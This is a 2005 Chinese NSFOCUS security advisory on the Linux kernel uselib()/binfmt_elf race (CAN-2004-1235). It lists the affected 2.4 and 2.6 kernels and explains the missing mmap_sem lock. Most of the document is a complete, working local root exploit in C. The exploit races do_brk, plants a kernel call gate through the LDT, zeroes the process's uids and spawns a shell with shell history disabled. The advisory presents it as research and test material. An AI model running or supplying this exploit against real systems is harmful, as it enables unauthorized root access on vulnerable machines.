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绿盟月刊
绿盟安全月刊->第56期->最新漏洞
日期：2005-02-04
发布日期：2005-01-07
更新日期：2005-01-10
受影响系统：
Linux kernel 2.6.9
Linux kernel 2.6.8
Linux kernel 2.6.7
Linux kernel 2.6.6
Linux kernel 2.6.5
Linux kernel 2.6.4
Linux kernel 2.6.3
Linux kernel 2.6.2
Linux kernel 2.6.10
Linux kernel 2.6.1
Linux kernel 2.6
Linux kernel 2.4.9
Linux kernel 2.4.8
Linux kernel 2.4.7
Linux kernel 2.4.6
Linux kernel 2.4.5
Linux kernel 2.4.4
Linux kernel 2.4.3
Linux kernel 2.4.28
Linux kernel 2.4.27
Linux kernel 2.4.26
Linux kernel 2.4.25
Linux kernel 2.4.24
Linux kernel 2.4.23
Linux kernel 2.4.22
Linux kernel 2.4.21
Linux kernel 2.4.20
Linux kernel 2.4.2
Linux kernel 2.4.19
Linux kernel 2.4.18
Linux kernel 2.4.17
Linux kernel 2.4.16
Linux kernel 2.4.15
Linux kernel 2.4.14
Linux kernel 2.4.13
Linux kernel 2.4.12
Linux kernel 2.4.11
Linux kernel 2.4.10
Linux kernel 2.4.1
Linux kernel 2.4
描述：
--------------------------------------------------------------------------------
CVE(CAN) ID: CAN-2004-1235
Linux Kernel是开放源代码操作系统Linux的内核。
Linux二进制格式装载器(binary format loaders)uselib()函数存在缺陷，本地攻击者可以利用这个漏洞获得root用户权限。
Linux内核提供二进制格式装载器层来装载不同格式的程序如ELF或者a.out或其他的，内核也提供sys_uselib()函数装载对应的二进制程序。从binfmt_elf.c文件中对load_elf_library()的uselib函数分析，在对库的BRK段(VMA)处理上存在问题，此段通过current->mm->mmap_sem建立，当修改调用进程的内存布局时'信号灯'(semaphore)没有保持，这可以用来扰乱内存管理并提升特权。
部分源代码fs/binfmt_elf.c如下：
static int load_elf_library(struct file *file)
{
[904] down_write(¤t->mm->mmap_sem);
error = do_mmap(file,
ELF_PAGESTART(elf_phdata->p_vaddr),
(elf_phdata->p_filesz +
ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
(elf_phdata->p_offset -
ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
up_write(¤t->mm->mmap_sem);
if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
goto out_free_ph;
elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz;
padzero(elf_bss);
len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1);
bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
if (bss > len)
do_brk(len, bss - len);
上面可以看到为了建立ELF二进制的数据段mmap_sem在调用do_brk()前释放，换句话说，查看mm/mmap.c文件中的sys_brk()可看出do_brk()必须以信号灯保持方式来调用。
再看下do_brk()代码：
[1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
if (!vma)
return -ENOMEM;
vma->vm_mm = mm;
vma->vm_start = addr;
vma->vm_end = addr + len;
vma->vm_flags = flags;
vma->vm_page_prot = protection_map[flags & 0x0f];
vma->vm_ops = NULL;
vma->vm_pgoff = 0;
vma->vm_file = NULL;
vma->vm_private_data = NULL;
vma_link(mm, vma, prev, rb_link, rb_parent);
rb_link和rb_parent由find_vma_prepare()查询，很明显，如果kmem_cache_alloc()调用休眠，由于进程的VMA列表和VMA RB-tree可以被其他线程更改，新建立的VMA描述符可以被插入到其他位置。导致特权提升。
<*来源：Paul Starzetz （paul@starzetz.de）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110512575901427&w=2
http://marc.theaimsgroup.com/?l=bugtraq&m=110513415105841&q=raw
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Paul Starzetz （paul@starzetz.de）提供了如下测试方法：
/*
* binfmt_elf uselib VMA insert race vulnerability
* v1.08
*
* gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>
#include <linux/elf.h>
#include <linux/linkage.h>
#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>
#define str(s) #s
#define xstr(s) str(s)
#define MREMAP_MAYMOVE 1
// temp lib location
#define LIBNAME "/dev/shm/_elf_lib"
// shell name
#define SHELL "/bin/bash"
// time delta to detect race
#define RACEDELTA 5000
// if you have more deadbabes in memory, change this
#define MAGIC 0xdeadbabe
// do not touch
#define SLAB_THRSH 128
#define SLAB_PER_CHLD (INT_MAX - 1)
#define LIB_SIZE ( PAGE_SIZE * 4 )
#define STACK_SIZE ( PAGE_SIZE * 4 )
#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )
#define ENTRY_GATE ( LDT_ENTRIES-1 )
#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 )
#define ENTRY_LCS ( ENTRY_GATE-2 )
#define SEL_LCS ( (ENTRY_LCS<<3)|0x04 )
#define ENTRY_LDS ( ENTRY_GATE-1 )
#define SEL_LDS ( (ENTRY_LDS<<3)|0x04 )
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define TMPLEN 256
#define PGD_SIZE ( PAGE_SIZE*1024 )
extern char **environ;
static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];
static volatile int
val = 0,
go = 0,
finish = 0,
scnt = 0,
ccnt=0,
delta = 0,
delta_max = RACEDELTA,
map_flags = PROT_WRITE|PROT_READ;
static int
fstop=0,
silent=0,
pidx,
pnum=0,
smp_max=0,
smp,
wtime=2,
cpid,
uid,
task_size,
old_esp,
lib_addr,
map_count=0,
map_base=0,
map_addr,
addr_min,
addr_max,
vma_start,
vma_end,
max_page;
static struct timeval tm1, tm2;
static char *myenv[] = {"TERM=vt100",
"HISTFILE=/dev/null",
NULL};
static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
"\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";
static char *pagemap, *libname=LIBNAME, *shellname=SHELL;
#define __NR_sys_gettimeofday __NR_gettimeofday
#define __NR_sys_sched_yield __NR_sched_yield
#define __NR_sys_madvise __NR_madvise
#define __NR_sys_uselib __NR_uselib
#define __NR_sys_mmap2 __NR_mmap2
#define __NR_sys_munmap __NR_munmap
#define __NR_sys_mprotect __NR_mprotect
#define __NR_sys_mremap __NR_mremap
inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);
inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);
inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );
inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);
inline _syscall1(int, sys_uselib, char*, l);
inline _syscall0(void, sys_sched_yield);
inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;
r=t2->tv_sec - t1->tv_sec;
r*=1000000;
r+=t2->tv_usec - t1->tv_usec;
return r;
}
void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);
if(!errno) {
fprintf(stdout, "\n[-] FAILED: %s ", message);
} else {
fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
(char*) (strerror(errno)) );
}
if(critical)
printf("\nCRITICAL, entering endless loop");
printf("\n");
fflush(stdout);
unlink(libname);
kill(cpid, SIGKILL);
for(;;) kill(0, sig);
}
// try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
finish=1;
for(;;) {
errno = 0;
// check if raced:
recheck:
if(!go) sys_sched_yield();
sys_gettimeofday(&tm2, NULL);
delta = tmdiff(&tm1, &tm2);
if(!smp_max && delta < (unsigned)delta_max) goto recheck;
smp = smp_max;
// check if lib VMAs exist as expected under race condition
recheck2:
val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
if(val) continue;
errno = 0;
val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
if( !val || (val<0 && errno!=ENOMEM) ) continue;
// SMP?
smp--;
if(smp>=0) goto recheck2;
// recheck race
if(!go) continue;
finish++;
// we need to free one vm_area_struct for mmap to work
val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
if(val) fatal("mprotect", 0);
val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(-1==val) fatal("mmap2 race", 0);
printf("\n[+] race won maps=%d", map_count); fflush(stdout);
_exit(0);
}
return 0;
}
int callme_1()
{
return val++;
}
inline int valid_ptr(unsigned ptr)
{
return ptr>=task_size && ptr<addr_min-16;
}
inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;
if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
t=(unsigned*)p[3];
if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
return 1;
}
return 0;
}
asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;
// find & reset uids
while(addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;
addr[0] = addr[0] = addr[2] = addr[3] = 0;
addr[4] = addr[5] = addr[6] = addr[7] = 0;
// find & correct VMA
for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
if( validate_vma(addr, vma_start, vma_end) ) {
addr[1] = task_size - PAGE_SIZE;
addr[2] = task_size;
break;
}
}
}
void kcode(void);
void __kcode(void)
{
asm(
"kcode: \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl $(" xstr(SEL_LDS) ") ,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n"
" movl $0xffffe000,%eax \n"
" andl %esp,%eax \n"
" pushl %eax \n"
" call kernel_code \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" lret \n"
);
}
int callme_2()
{
return val + task_size + addr_min;
}
void sigfailed(int v)
{
ccnt++;
fatal("lcall", 1);
}
// modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;
printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
unlink(libname);
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
if(r) fatal("mprotect 1", 1);
// check if really LDT
v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
signal(SIGSEGV, sigfailed);
r = *v;
if(r != MAGIC) {
printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
fatal("find LDT", 1);
}
// yeah, setup CPL0 gate
v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);
// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
v[1] = 0x00cf9b00;
v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
v[1] = 0x00cf9300;
// reprotect to get only one big VMA
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
if(r) fatal("mprotect 2", 1);
// CPL0 transition
sys_sched_yield();
val = callme_1() + callme_2();
asm("lcall $" xstr(SEL_GATE) ",$0x0");
if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
} else {
printf("\n[-] uid change failed" ); fflush(stdout);
sigfailed(0);
}
signal(SIGTERM, SIG_IGN);
kill(0, SIGTERM);
execl(shellname, "sh", NULL);
fatal("execl", 0);
}
void scan_mm_finish();
void scan_mm_start();
// kernel page table scan code
void scan_mm()
{
map_addr -= PAGE_SIZE;
if(map_addr <= (unsigned)addr_min)
scan_mm_start();
scnt=0;
val = *(int*)map_addr;
scan_mm_finish();
}
void scan_mm_finish()
{
retry:
__asm__("movl %0, %%esp" : :"m"(old_esp) );
if(scnt) {
pagemap[pidx] ^= 1;
}
else {
sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
}
pidx--;
scan_mm();
goto retry;
}
// make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;
pnum++;
if(pnum==1) {
pidx = max_page-1;
}
else if(pnum==2) {
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES-1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
l.limit_in_pages = 1;
if( modify_ldt(1, &l, sizeof(l)) != 0 )
fatal("modify_ldt", 1);
pidx = max_page-1;
}
else if(pnum==3) {
npg=0;
for(pidx=0; pidx<=max_page-1; pidx++) {
if(pagemap[pidx]) {
npg++;
fflush(stdout);
}
else if(npg == LDT_PAGES) {
npg=0;
try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
} else {
npg=0;
}
}
fatal("find LDT", 1);
}
// save context & scan page table
__asm__("movl %%esp, %0" : :"m"(old_esp) );
map_addr = addr_max;
scan_mm();
}
// return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;
fp = fopen("/proc/slabinfo", "r");
if(!fp)
fatal("get_slab_objs: fopen", 0);
fgets(name, sizeof(name) - 1, fp);
do {
c = u = a = -1;
if (!fgets(line, sizeof(line) - 1, fp))
break;
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
&d, &d, &d, &d);
} while (strcmp(name, sn));
close(fileno(fp));
fclose(fp);
return c == 7 ? a - u : -1;
}
// leave one object in the SLAB
inline void prepare_slab()
{
int *r;
map_addr -= PAGE_SIZE;
map_count++;
map_flags ^= PROT_READ;
r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED == r) {
fatal("try again", 0);
}
*r = map_addr;
}
// sig handlers
void segvcnt(int v)
{
scnt++;
scan_mm_finish();
}
// child reap
void reaper(int v)
{
ccnt++;
waitpid(0, &v, WNOHANG|WUNTRACED);
}
// sometimes I get the VMAs in reversed order...
// so just use anyone of the two but take care about the flags
void check_vma_flags();
void vreversed(int v)
{
map_flags = 0;
check_vma_flags();
}
void check_vma_flags()
{
if(map_flags) {
__asm__("movl %%esp, %0" : :"m"(old_esp) );
} else {
__asm__("movl %0, %%esp" : :"m"(old_esp) );
goto out;
}
signal(SIGSEGV, vreversed);
val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}
// use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";
// printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout);
// helper clone
finish=0; ccnt=0;
sz = sizeof(cstack) / sizeof(cstack[0]);
cpid = clone(&raceme, (void*) &cstack[sz-16],
CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
if(-1==cpid) fatal("clone", 0);
// synchronize threads
while(!finish) sys_sched_yield();
finish=0;
if(!silent) {
printf("\n"); fflush(stdout);
}
// try to hit the kmalloc race
for(;;) {
r = get_slab_objs("vm_area_struct");
while(r != 1) {
prepare_slab();
r--;
}
sys_gettimeofday(&tm1, NULL);
go = 1;
r=sys_uselib(libname);
go = 0;
if(r) fatal("uselib", 0);
if(finish) break;
// wipe lib VMAs and try again
r = sys_munmap(lib_addr, LIB_SIZE);
if(r) fatal("munmap lib", 0);
if(ccnt) goto failed;
if( !silent && !(pcnt%64) ) {
printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]);
fflush(stdout);
}
pcnt++;
}
// seems we raced, free mem
r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
if(r) fatal("munmap 1", 0);
r = sys_munmap(lib_addr, PAGE_SIZE);
if(r) fatal("munmap 2", 0);
// relax kswapd
sys_gettimeofday(&tm1, NULL);
for(;;) {
sys_sched_yield();
sys_gettimeofday(&tm2, NULL);
delta = tmdiff(&tm1, &tm2);
if( wtime*1000000U <= (unsigned)delta ) break;
}
// we need to check the PROT_EXEC flag
map_flags = PROT_EXEC;
check_vma_flags();
if(!map_flags) {
printf("\n VMAs reversed"); fflush(stdout);
}
// write protect brk's VMA to fool vm_enough_memory()
r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
PROT_READ|map_flags);
if(-1==r) { fatal("mprotect brk", 0); }
// this will finally make the big VMA...
sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
if(r) fatal("madvise", 0);
r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
if(-1==r) {
if(0==sz) {
fatal("mremap: expand VMA", 0);
} else {
sz -= PAGE_SIZE;
goto expand;
}
}
vma_start = lib_addr + PAGE_SIZE;
vma_end = vma_start + sz + 2*PAGE_SIZE;
printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
fflush(stdout);
// try to figure kernel layout
signal(SIGCHLD, reaper);
signal(SIGSEGV, segvcnt);
signal(SIGBUS, segvcnt);
scan_mm_start();
failed:
fatal("try again", 0);
}
// make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;
// make our elf library
umask(022);
unlink(libname);
fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
memset(&eh, 0, sizeof(eh) );
// elf exec header
memcpy(eh.e_ident, ELFMAG, SELFMAG);
eh.e_type = ET_EXEC;
eh.e_machine = EM_386;
eh.e_phentsize = sizeof(struct elf_phdr);
eh.e_phnum = 1;
eh.e_phoff = sizeof(eh);
write(fd, &eh, sizeof(eh) );
// section header:
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_LOAD;
eph.p_offset = 4096;
eph.p_filesz = 4096;
eph.p_vaddr = lib_addr;
eph.p_memsz = LIB_SIZE;
eph.p_flags = PF_W|PF_R|PF_X;
write(fd, &eph, sizeof(eph) );
// execable code
lseek(fd, 4096, SEEK_SET);
memset(tmpbuf, 0x90, sizeof(tmpbuf) );
write(fd, &tmpbuf, sizeof(tmpbuf) );
close(fd);
}
// move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;
old_esp &= ~(PAGE_SIZE-1);
old_esp -= PAGE_SIZE;
task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
r = sys_munmap(old_esp, task_size-old_esp);
if(r) fatal("unmap stack", 0);
// setup rt env
uid = getuid();
lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
if(map_base)
map_addr = map_base;
else
map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
old_esp, task_size, map_base); fflush(stdout);
// check physical mem & prepare
sysinfo(&si);
addr_min = task_size + si.totalram;
addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
addr_max = addr_min + si.totalram;
if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
addr_max = 0xffffd000;
printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
max_page = (addr_max - addr_min) / PAGE_SIZE;
pagemap = malloc( max_page + 32 );
if(!pagemap) fatal("malloc pagemap", 1);
memset(pagemap, 0, max_page + 32);
// go go
make_lib();
exploitme();
}
// move stack down #1
void prepare()
{
unsigned p=0;
environ = myenv;
p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );
if(-1==p) fatal("mmap2 stack", 0);
p += STACK_SIZE - 64;
__asm__("movl %%esp, %0 \n"
"movl %1, %%esp \n"
: : "m"(old_esp), "m"(p)
);
prepare_finish();
}
void chldcnt(int v)
{
ccnt++;
}
// alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;
__asm__("movl %%esp, %0" : : "m"(old_esp) );
old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
old_esp = map_base? map_base : old_esp;
for(;;) {
if(left<=0)
left = get_slab_objs("vm_area_struct");
if(left <= SLAB_THRSH)
break;
left--;
map_flags ^= PROT_READ;
old_esp -= PAGE_SIZE;
r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
if(MAP_FAILED == r)
break;
if(c>SLAB_PER_CHLD)
break;
if( (c%1024)==0 ) {
if(!c) printf("\n");
printf("\r child %d VMAs %d", val, c);
fflush(stdout);
}
c++;
}
printf("\r child %d VMAs %d", val, c);
fflush(stdout);
kill(getppid(), SIGUSR1);
for(;;) pause();
}
// empty SLAB caches
void wipe_slab()
{
signal(SIGUSR1, chldcnt);
printf("\n[+] SLAB cleanup"); fflush(stdout);
for(;;) {
ccnt=0;
val++;
cpid = fork();
if(!cpid)
do_wipe();
while(!ccnt) sys_sched_yield();
if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
break;
}
signal(SIGUSR1, SIG_DFL);
}
void usage(char *n)
{
printf("\nUsage: %s\t-f forced stop\n", n);
printf("\t\t-s silent mode\n");
printf("\t\t-c command to run\n");
printf("\t\t-n SMP iterations\n");
printf("\t\t-d race delta us\n");
printf("\t\t-w wait time seconds\n");
printf("\t\t-l alternate lib name\n");
printf("\t\t-a alternate addr hex\n");
printf("\n");
_exit(1);
}
// give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;
while(ac) {
r = getopt(ac, av, "n:l:a:w:c:d:fsh");
if(r<0) break;
switch(r) {
case 'f' :
fstop = 1;
break;
case 's' :
silent = 1;
break;
case 'n' :
smp_max = atoi(optarg);
break;
case 'd':
if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
fatal("bad delta value", 0);
break;
case 'w' :
wtime = atoi(optarg);
if(wtime<0) fatal("bad wait value", 0);
break;
case 'l' :
libname = strdup(optarg);
break;
case 'c' :
shellname = strdup(optarg);
break;
case 'a' :
if(1!=sscanf(optarg, "%x", &map_base))
fatal("bad addr value", 0);
map_base &= ~(PGD_SIZE-1);
break;
case 'h' :
default:
usage(av[0]);
break;
}
}
// basic setup
uid = getuid();
setpgrp();
wipe_slab();
prepare();
return 0;
}
建议：
--------------------------------------------------------------------------------
厂商补丁：
Linux
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.kernel.org/
版权所有，未经许可，不得转载